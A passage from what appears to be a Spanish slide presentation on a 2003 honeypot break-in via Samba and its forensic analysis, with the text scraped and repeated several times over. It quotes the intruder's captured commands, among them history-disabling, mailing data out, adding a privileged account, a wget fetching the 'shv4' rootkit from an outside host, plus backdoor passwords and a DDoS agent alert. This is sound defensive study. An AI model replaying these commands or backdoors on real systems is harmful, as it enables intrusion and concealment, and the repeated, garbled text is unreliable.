Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 18: Demostracion Hacking Honeypot y Análisis Forense

page 1817062004

Prueba 7Ejecucioacuten del comando ldquomailrdquo

Conclusioacuten (2s) El intruso envioacute un mensaje de correo electroacutenicoFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 100937 112 a - etcmailrc754801 a - usrsbinsendmailsendmail83905 a - binmail4770 mc - varlogsambasmbdlog

page 1917062004

Prueba 8Alerta del IDS por el enviacuteo del correo

Conclusioacuten El IDS detectoacute la direccioacuten destino de la conexioacuten SMTPFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-101934191136 1921681532774 -gt 10227825TCP TTL64 TOS0x0 ID16590 IpLen20 DgmLen60 DFS Seq 0x2EE98728 Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26200038 0 NOP WS 0

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 19: Demostracion Hacking Honeypot y Análisis Forense

page 1917062004

Prueba 8Alerta del IDS por el enviacuteo del correo

Conclusioacuten El IDS detectoacute la direccioacuten destino de la conexioacuten SMTPFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-101934191136 1921681532774 -gt 10227825TCP TTL64 TOS0x0 ID16590 IpLen20 DgmLen60 DFS Seq 0x2EE98728 Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26200038 0 NOP WS 0

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

